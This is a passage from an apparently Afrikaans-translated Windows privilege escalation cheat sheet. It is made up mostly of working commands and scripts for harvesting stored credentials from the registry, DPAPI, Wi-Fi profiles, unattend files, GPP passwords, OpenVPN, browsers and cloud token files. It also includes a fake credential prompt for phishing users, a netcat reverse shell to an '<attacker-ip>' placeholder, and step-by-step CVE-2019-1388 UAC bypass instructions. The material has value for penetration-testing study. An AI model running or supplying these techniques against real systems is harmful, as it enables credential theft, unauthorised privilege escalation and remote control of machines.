Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Oop Poorte

Kyk vir beperkte dienste van buite af

netstat -ano #Opened ports?

Roetetabel

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP-tabel

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Reëls

Kyk na hierdie bladsy vir Firewall-verwante opdragte (lys reëls, skep reëls, skakel af, skakel af...)

Meer opdragte vir netwerkopsomming hier

Windows Subsisteem vir Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binêre bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

As jy rootgebruiker kry, kan jy luister op enige poort (die eerste keer wat jy nc.exe gebruik om te luister op 'n poort, sal dit via GUI vra of nc toegelaat moet word deur die firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Om maklik bash as 'n beheerder te begin, kan jy --default-user root probeer

Jy kan die WSL lêersisteem verken in die vouer C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Geloofsbriewe

Winlogon Geloofsbriewe

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Geloofsbewaarder / Windows-kluis

Van https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows-kluis stoor gebruikersgeloofsbrieven vir bedieners, webwerwe en ander programme wat Windows kan gebruik om die gebruikers outomaties in te teken. Op die eerste gesig mag dit lyk asof gebruikers hul Facebook-geloofsbriewe, Twitter-geloofsbriewe, Gmail-geloofsbriewe ens., kan stoor sodat hulle outomaties kan in teken via webblaaie. Maar dit is nie so nie.

Windows-kluis stoor geloofsbriewe wat Windows kan gebruik om die gebruikers outomaties in te teken, wat beteken dat enige Windows-toepassing wat geloofsbriewe benodig om toegang tot 'n hulpbron (bediener of 'n webwerf) **te verkry, van hierdie Gelooftsbewaarder & Windows-kluis gebruik kan maak en die verskafte geloofsbriewe kan gebruik in plaas daarvan dat gebruikers die gebruikersnaam en wagwoord die hele tyd moet invoer.

Tensy die toepassings met die Gelooftsbewaarder interaksie het, dink ek nie dat dit moontlik is vir hulle om die geloofsbriewe vir 'n gegewe hulpbron te gebruik nie. Dus, as jou toepassing die kluis wil gebruik, moet dit op een of ander manier met die geloofsbewaarder kommunikeer en die geloofsbriewe vir daardie hulpbron aanvra van die verstek bergkluis.

Gebruik die cmdkey om die gestoorde geloofsbriewe op die masjien te lys.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Dan kan jy runas gebruik met die /savecred-opsies om die gestoorde geloofsbriewe te gebruik. Die volgende voorbeeld roep 'n afgeleë binêre lêer aan via 'n SMB-aandeel.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Gebruik runas met 'n voorsiene stel geloofsbriewe.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Merk op dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of van Empire Powershells module.

DPAPI

Die Data Protection API (DPAPI) bied 'n metode vir simmetriese versleuteling van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die simmetriese versleuteling van asimmetriese privaatsleutels. Hierdie versleuteling maak gebruik van 'n gebruiker- of stelselgeheim om beduidend by te dra tot entropie.

DPAPI maak die versleuteling van sleutels moontlik deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldingsgeheime. In scenario's wat stelselversleuteling behels, maak dit gebruik van die stelsel se domeinverifikasiegeheime.

Versleutelde gebruiker RSA-sleutels, deur DPAPI te gebruik, word gestoor in die %APPDATA%\Microsoft\Protect\{SID} gids, waar {SID} die gebruiker se Security Identifier verteenwoordig. Die DPAPI-sleutel, saam met die meestersleutel wat die gebruiker se privaatsleutels beskerm in dieselfde lêer, bestaan tipies uit 64 byte van ewekansige data. (Dit is belangrik om daarop te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud daarvan gelys word deur die dir bevel in CMD, alhoewel dit deur PowerShell gelys kan word).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te dekripteer.

Die geloofsbriewe lêers wat deur die meester wagwoord beskerm word is gewoonlik geleë in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Jy kan die mimikatz module dpapi::cred gebruik met die toepaslike /masterkey om te ontsluit.
Jy kan baie DPAPI masterkeys uit geheue onttrek met die sekurlsa::dpapi module (as jy root is).

{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}

PowerShell Geldeenhede

PowerShell geldeenhede word dikwels gebruik vir skripsie en outomatiseringstake as 'n manier om versleutelde geldeenhede gerieflik te stoor. Die geldeenhede word beskerm deur DPAPI, wat tipies beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop hulle geskep is, ontsluit kan word.

Om 'n PS-geldeenheid uit die lêer wat dit bevat te ontsluit, kan jy doen:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Windows Plaaslike Voorregverhoging

Hierdie module demonstreer 'n aantal tegnieke wat gebruik kan word vir plaaslike voorregverhoging op Windows-stelsels. Dit sluit in die gebruik van bekende kwesbaarhede, miskonfigurasies en swak instellings om toegang te verkry tot hoër voorregte op die stelsel.

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Gestoorde RDP-Verbindings

Jy kan hulle vind op HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Onlangs Uitgevoerde Opdragte

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Afstandbeheer-geloofsbriewe-bestuurder

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Gebruik die Mimikatz dpapi::rdg module met die toepaslike /masterkey om enige .rdg lêers te dekodeer
Jy kan baie DPAPI meester sleutels uit die geheue onttrek met die Mimikatz sekurlsa::dpapi module

Plakkerige Notas

Mense gebruik dikwels die Plakkerige Notas-toep op Windows-werkstasies om wagwoorde en ander inligting te stoor, sonder om te besef dit is 'n databasis lêer. Hierdie lêer is geleë by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en is altyd die moeite werd om te soek en te ondersoek.

AppCmd.exe

Let daarop dat om wagwoorde vanaf AppCmd.exe te herwin, moet jy 'n Administrateur wees en onder 'n Hoë Integriteitsvlak loop.
AppCmd.exe is geleë in die %systemroot%\system32\inetsrv\ gids.
As hierdie lêer bestaan, is dit moontlik dat sekere geldeenhede ingestel is en herwin kan word.

Hierdie kode is onttrek uit PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Kyk of C:\Windows\CCM\SCClient.exe bestaan.
Installeerders word met SYSTEM-voorregte uitgevoer, baie is vatbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Lêers en Registre (Legitieme Inligting)

Putty Gelde

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Gasheer Sleutels

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH-sleutels in register

SSH privaatsleutels kan binne die register sleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, so jy moet nagaan of daar iets interessants daarin is:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Indien jy enige inskrywing binne daardie pad vind, sal dit waarskynlik 'n gestoorde SSH-sleutel wees. Dit is versleutel maar kan maklik ontsluit word met behulp van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

As die ssh-agent-diens nie loop nie en jy wil hê dit moet outomaties begin by opstart, voer uit:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

{% hint style="info" %} Dit lyk asof hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh-sleutels te skep, hulle by te voeg met ssh-add en in te teken via ssh na 'n masjien. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van dpapi.dll geïdentifiseer tydens die asimmetriese sleutelverifikasie nie. {% endhint %}

Onaangemelde lêers

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Jy kan ook vir hierdie lêers soek met metasploit: post/windows/gather/enum_unattend

Voorbeeld inhoud:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM-rugsteun

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Wolkmagte

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Soek na 'n lêer genaamd SiteList.xml

Gekasheerde GPP-wagwoord

'n Funksie was vroeër beskikbaar wat die implementering van aangepaste plaaslike administrateur-rekeninge op 'n groep masjiene via Groepbeleidsvoorkeure (GPP) moontlik gemaak het. Hierdie metode het egter aansienlike sekuriteitsgebreke gehad. Eerstens kon die Groepbeleidsobjekte (GPO's), gestoor as XML-lêers in SYSVOL, deur enige domeingebruiker benader word. Tweedens kon die wagwoorde binne hierdie GPP's, versleutel met AES256 met 'n publiek gedokumenteerde verstekleutel, deur enige geauthentiseerde gebruiker ontsluit word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers kon toelaat om verhoogde voorregte te verkry.

Om hierdie risiko te verminder, is 'n funksie ontwikkel om plaaslik gekasheerde GPP-lêers te soek wat 'n "cpassword"-veld bevat wat nie leeg is nie. Nadat so 'n lêer gevind is, ontsluit die funksie die wagwoord en gee 'n aangepaste PowerShell-voorwerp terug. Hierdie voorwerp sluit besonderhede oor die GPP en die lêer se ligging in, wat help om hierdie sekuriteitskwesbaarheid te identifiseer en te herstel.

Soek in C:\ProgramData\Microsoft\Group Policy\history of in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (vorige aan W Vista) vir hierdie lêers:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Om die cPassword te ontsluit:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Gebruik crackmapexec om die wagwoorde te kry:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

IIS Webkonfigurasie

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Voorbeeld van web.config met geloofsbriewe:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN geloofsbriewe

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logboeke

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Vra vir geloofsbriewe

Jy kan altyd die gebruiker vra om sy geloofsbriewe in te voer of selfs die geloofsbriewe van 'n ander gebruiker as jy dink hy dit kan weet (let daarop dat om die klient direk vir die geloofsbriewe te vra werklik riskant is):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Moontlike lêernaam wat geloofsbriewe bevat

Bekende lêers wat 'n tyd gelede wagwoorde in teksvorm of Base64 bevat het

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Soek deur al die voorgestelde lêers:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Geldeenhede in die Stortbak

Jy moet ook die Stortbak deursoek vir geldeenhede daarin

Om wagwoorde te herstel wat deur verskeie programme gestoor is, kan jy gebruik: http://www.nirsoft.net/password_recovery_tools.html

Binne die register

Ander moontlike register sleutels met geldeenhede

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Onttrek openssh-sleutels uit die register.

Blaaiergeskiedenis

Jy moet kyk vir databasisse waar wagwoorde van Chrome of Firefox gestoor word.
Kyk ook na die geskiedenis, bladmerke en gunstelinge van die blaaier om te sien of daar dalk wagwoorde gestoor is.

Gereedskap om wagwoorde uit blaaier te onttrek:

COM DLL-overskrywing

Component Object Model (COM) is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is en dit maak interkommunikasie tussen sagtewarekomponente van verskillende tale moontlik. Elke COM-komponent word geïdentifiseer deur 'n klass-ID (CLSID) en elke komponent stel funksionaliteit bloot via een of meer koppelvlakke, geïdentifiseer deur koppelvlak-ID's (IIDs).

COM-klasse en koppelvlakke word in die register onder HKEY_CLASSES_ROOT\CLSID en HKEY_CLASSES_ROOT\Interface onderskeidelik gedefinieer. Hierdie register word geskep deur die saamvoeging van die HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOT.

Binne die CLSIDs van hierdie register kan jy die kindregister InProcServer32 vind wat 'n standaardwaarde bevat wat na 'n DLL verwys en 'n waarde genaamd ThreadingModel wat Apartment (Enkel-draad), Free (Multi-draad), Both (Enkel of Multi) of Neutral (Draadneutraal) kan wees.

Basies, as jy enige van die DLL's kan overskryf wat uitgevoer gaan word, kan jy bevoorregtinge eskaleer as daardie DLL deur 'n ander gebruiker uitgevoer gaan word.

Om te leer hoe aanvallers COM Hijacking as 'n volhardingsmeganisme gebruik, kyk na:

{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}

Generiese wagwoordsoektog in lêers en register

Soek na lêerinhoud

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Soek na 'n lêer met 'n spesifieke lêernaam

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Soek in die register vir sleutelname en wagwoorde

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Gereedskap wat soek na wagwoorde

MSF-Credentials Plugin is 'n msf-inprop wat ek geskep het om hierdie inprop outomaties elke metasploit POST-module uit te voer wat soek na geloofsbriewe binne die slagoffer.
Winpeas soek outomaties na al die lêers wat wagwoorde bevat wat op hierdie bladsy genoem word.
Lazagne is 'n ander wonderlike gereedskap om wagwoorde uit 'n stelsel te onttrek.

Die gereedskap SessionGopher soek na sessies, gebruikersname en wagwoorde van verskeie gereedskap wat hierdie data in die teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Uitgespoelde Handlers

Stel jou voor dat 'n proses wat as SISTEEM loop 'n nuwe proses oopmaak (OpenProcess()) met volle toegang. Dieselfde proses skep ook 'n nuwe proses (CreateProcess()) met lae bevoegdhede maar wat al die oop handvatsels van die hoofproses erf. Dan, as jy volle toegang tot die lae bevoorregte proses het, kan jy die oop handvat na die bevoorregte proses wat geskep is met OpenProcess() gryp en 'n shellcode inspuit.
Lees hierdie voorbeeld vir meer inligting oor hoe om hierdie kwesbaarheid op te spoor en te misbruik.
Lees hierdie ander pos vir 'n meer volledige verduideliking oor hoe om meer oop handvatsels van prosesse en drade wat geërf is met verskillende vlakke van toestemmings (nie net volle toegang nie) te toets en te misbruik.

Naam Pyp Kliënt Impersonasie

Gedeelde geheue-segmente, bekend as pype, maak proses kommunikasie en data-oordrag moontlik.

Windows bied 'n funksie genaamd Naam Pype, wat onverwante prosesse in staat stel om data te deel, selfs oor verskillende netwerke. Dit lyk na 'n kliënt/bediener-argitektuur, met rolle wat gedefinieer is as naam pype bediener en naam pype kliënt.

Wanneer data deur 'n kliënt deur 'n pyp gestuur word, het die bediener wat die pyp opgestel het die vermoë om die identiteit van die kliënt aan te neem, mits dit die nodige SeImpersonate regte het. Die identifisering van 'n bevoorregte proses wat kommunikeer via 'n pyp wat jy kan naboots, bied 'n geleentheid om hoër bevoegdhede te verkry deur die identiteit van daardie proses aan te neem sodra dit met die pyp wat jy opgestel het, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word hier en hier.

Ook laat die volgende instrument toe om 'n naam pyp kommunikasie te onderskep met 'n instrument soos burp: https://github.com/gabriel-sztejnworcel/pipe-intercept en hierdie instrument laat toe om al die pype te lys en te sien om privescs te vind https://github.com/cyberark/PipeViewer

Misc

Monitering van Bevellyne vir wagwoorde

Wanneer jy 'n skaal as 'n gebruiker kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat geloofsbriewe op die bevellyn deurgee. Die skripsie hieronder vang proses bevellyne elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, waar enige verskille uitgevoer word.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Steel wagwoorde van prosesse

Van Lae Priv Gebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Omgang

As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminaal of enige ander proses soos "NT\AUTHORITY SYSTEM" vanaf 'n onbevoorregte gebruiker uit te voer.

Dit maak dit moontlik om voorregte te eskaleer en UAC gelyktydig met dieselfde kwesbaarheid te omseil. Daarbenewens is daar geen nodigheid om iets te installeer nie en die binêre lêer wat tydens die proses gebruik word, is deur Microsoft onderteken en uitgereik.

Sommige van die geaffekteerde stelsels is die volgende:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Om hierdie kwesbaarheid uit te buuit, is dit nodig om die volgende stappe uit te voer:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Jy het al die nodige lêers en inligting in die volgende GitHub-opberging:

https://github.com/jas502n/CVE-2019-1388

Van Administrateur Medium na Hoë Integriteitsvlak / UAC-Omweg

Lees hierdie om meer te leer oor Integriteitsvlakke:

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Lees dan hierdie om meer te leer oor UAC en UAC-omweë:

{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}

Van Hoë Integriteit na Stelsel

Nuwe diens

As jy reeds op 'n Hoë Integriteitsproses loop, kan die oorgang na SISTEEM maklik wees deur net 'n nuwe diens te skep en uit te voer:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

